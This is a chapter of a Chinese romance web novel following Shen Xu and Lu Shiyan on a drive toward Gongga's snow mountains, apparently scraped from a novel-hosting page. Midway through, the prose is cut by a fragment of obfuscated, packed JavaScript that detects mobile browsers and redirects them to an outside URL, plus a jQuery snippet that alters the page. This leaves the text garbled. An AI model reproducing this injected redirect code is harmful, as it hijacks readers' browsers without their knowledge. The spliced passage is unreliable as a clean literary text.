沈叙听着这话,心里忽然有点酸,不可自拔地想象着他以前一个人下山,一个人来这种小店,一个人坐在角落里,吃着一桌子的辣,用这种方式告诉自己还活着。 他伸手,握住了陆时砚放在桌上的那只手。 陆时砚愣了一下,抬头看他,看了一会儿才反手握住他的。 两人就这样吃完了那顿饭,一只手在桌上,一只手在桌下,十指相扣。 回去的路上,巷子里已经安静下来了。大部分店铺关了门,只剩下几盏路灯还亮着,把路面照得昏黄昏黄的。偶尔有电动车经过,车灯一晃,然后消失在巷子尽头。 沈叙走了一会儿,忽然说:“我有点紧张。” 陆时砚转头看他。 沈叙看着前方的路,说:“……拍不好。你想拍的那组照片,等了这么久。我怕我帮不上忙,怕我拖你后腿,怕万一有什么意外——” 陆时砚停下脚步,沈叙也停下来,转头看他。 路灯的光落在陆时砚脸上,把他的轮廓照得很柔和,眸间是温柔底色,“你知道我为什么想重拍那组照片吗?” 沈叙摇头。 陆时砚说:“因为我想看看,现在拍出来的东西,和以前有什么不一样。”他看着沈叙的眼睛,“以前拍的时候,只有我一个人。镜头里只有山、雪、云。好看,但却点东西,就像那个粉丝说的。” “现在有你。镜头里的东西,会不一样。” 沈叙听着那些话,心里涌起一阵潮水似的东西,又暖又满,涨得眼眶有点酸。 回到客栈,爬上三楼,推开306的门。 房间里开着窗,晚风吹进来,把窗帘吹得轻轻晃动。对面楼的灯已经灭了,只剩下远处几盏路灯还亮着,把微弱的光送进屋里。 第二天早上,天还没亮,两人就起来了。 洗漱,收拾行李,最后检查一遍装备。沈叙把那顶从村里带来的帽子戴上,陆时砚看了他一眼,嘴角弯起来。 “挺好看。” 沈叙被他夸得有点不好意思,低头假装整理背包。 六点整,他们站在巷口。一辆白色的越野车停在路边,司机是个晒得黝黑的汉子,看见他们,按了按喇叭。 陆时砚走过去,和司机打了个招呼。司机帮他们把行李放进后备箱,沈叙看见后座上已经坐了一个人,是个年轻女孩,戴着眼镜,正捧着手机看什么。 女孩看见他们,“你们也是去贡嘎的?” 陆时砚点点头。 女孩眼睛亮了:“太好了!我一个人,正愁没人说话呢!” 沈叙和陆时砚对视一眼,坐进车里。 车子发动了,慢慢驶出巷子,驶上大路,驶向城外。 天一点一点亮起来,东边的云被染成橘红色,太阳慢慢升起来,把整个世界都照亮了。 沈叙看着窗外,看着那些越来越远的楼房,越来越近的山。 陆时砚握着他的手。 女孩在后座叽叽喳喳地说着什么,说她是个摄影师,说她第一次去高原,说她期待这次旅行很久了。沈叙听着,偶尔应一两句,大部分时候只是看着窗外。 车子开上高速,往西,往高原,往他们要去的地方。 沈叙看着那些越来越高的山,心里涌起一阵奇怪的感觉。 像是期待,又像是紧张。像是兴奋,又像是平静。 他说不清楚。 中午的时候,他们在服务区休息。女孩去买泡面,沈叙和陆时砚坐在长椅上,看着那些同样去高原的人来来往往。有背着巨大登山包的,有穿着冲锋衣戴着墨镜的,有拖着行李箱穿着裙子的,各种各样的人,去各种各样的地方。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305533|198711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈叙忽然问:“你第一次去的时候,是什么感觉?” 陆时砚想了想,说:“紧张。兴奋。怕自己拍不好。但现在想起来,那时候拍的那些,其实也挺好。虽然不如后来那些成熟,但有那时候的东西。” 沈叙听着,没说话,陆时砚转头看他,“你拍的第一张照片,还记得吗?” 沈叙微微怔神,然后想起来了。他拍的第一张照片,是那天站在院子里,对着那棵老槐树按下的快门。那时候他连相机都不会用,只是听陆时砚说“按这里”,就按了一下。 那张照片拍得怎么样,他不知道。但陆时砚说“还行”。 他。 陆时砚看着他那副笑,没问笑什么,只是握紧他的手。 女孩端着泡面回来,看见他们这样,感慨:“你们感情真好。” 沈叙有点不好意思,但陆时砚面不改色,只是点了点头。 吃完饭,继续上路。 路越来越险,弯越来越多,山越来越近。车子在盘山公路上绕来绕去,一边是悬崖,一边是峭壁。沈叙看着窗外,手心有点出汗。 陆时砚握着他的手,拇指在手背上轻轻摩挲:“怕?” 沈叙点头:“有一点。” 陆时砚说:“我第一次走这种路的时候,也怕。” 沈叙转头看他。陆时砚看着窗外,侧脸很平静。 “后来走多了,就不怕了。知道这条路虽然险,但能过。知道只要小心点,就不会有事。”他转头看向沈叙,“而且现在有你,更不怕了。” 沈叙看着他那双眼睛,心里那点害怕慢慢散开了。 他握紧陆时砚的手。 车子继续往前开,往更高更远的地方,傍晚的时候,他们到了第一个垭口。 海拔四千三百米。 车子停下来,让乘客下车拍照。沈叙推开车门,一股冷风扑面而来,带着雪的气息,还有一点稀薄的感觉。 那些他只在照片里见过的山,现在就立在他面前。山顶有雪,雪在夕阳下泛着金色的光,像是燃烧的火焰。 云从山腰流过,一团一团的,慢慢移动。偶尔露出一角冰川,蓝得不像真的。 他站在那里,被风吹着,被光照着,被那些山看着。 陆时砚走过来,站在他旁边。 沈叙想说什么,但都说不出来。 陆时砚也没说话。 两人就这样站着,看着眼前的一切,大自然的造物。 过了很久,沈叙说:“我拍一张吧。” 陆时砚转头看他。 沈叙从口袋里掏出手机,举起来,对着陆时砚。 他说:“我说过,要给你拍一张。” 陆时砚看着他那副认真的样子,轻笑一声,他转过身,面对那些山,站在夕阳和风中。 沈叙按下快门。 咔嚓一声,画面定格。 后来,那张照片被沈叙设成了手机屏保。 照片里,陆时砚站在垭口上,身后是连绵的雪山,夕阳把他的轮廓镀上一层金色。他的嘴角微微弯着,眼睛看着远方,像是看着什么很美好的东西。 沈叙每次看到这张照片,都会想起那一天。 他们一起站在四千三百米的地方,第一次看见那些山,他给他拍了第一张照片。 晚上,他们住在山脚下的小旅馆里。 房间很小,只有一张床,一床被子。窗户外面能看见雪山的影子,在月光下泛着淡淡的光。 沈叙躺在床上,听着窗外呼呼的风声,心里很安静。 陆时砚在旁边,呼吸很轻。 “明天能看到吗?” “看运气。” 沈叙想了想,说:“一定能看到。” 陆时砚转头看他,沈叙看着天花板,嘴角弯着。 “因为你想看。你想看的,就一定能看到。” 陆时砚神色微动,他靠过来,在沈叙嘴角亲了一下。 沈叙愣了一下,然后伸手,把他揽进怀里。 两人就这样抱着,听着窗外的风声,看着窗外雪山的影子。 陆时砚蓦地开口:“沈叙。” 沈叙应了一声。 陆时砚说:“谢谢你。” 沈叙问:“谢什么?” 陆时砚沉默了一会儿,然后说:“谢谢你陪我。” 沈叙把他抱紧了一点,“不是陪你。”他说,“是和你一起。” 窗外,风还在吹,雪山的影子还在那里,静静的等着明天。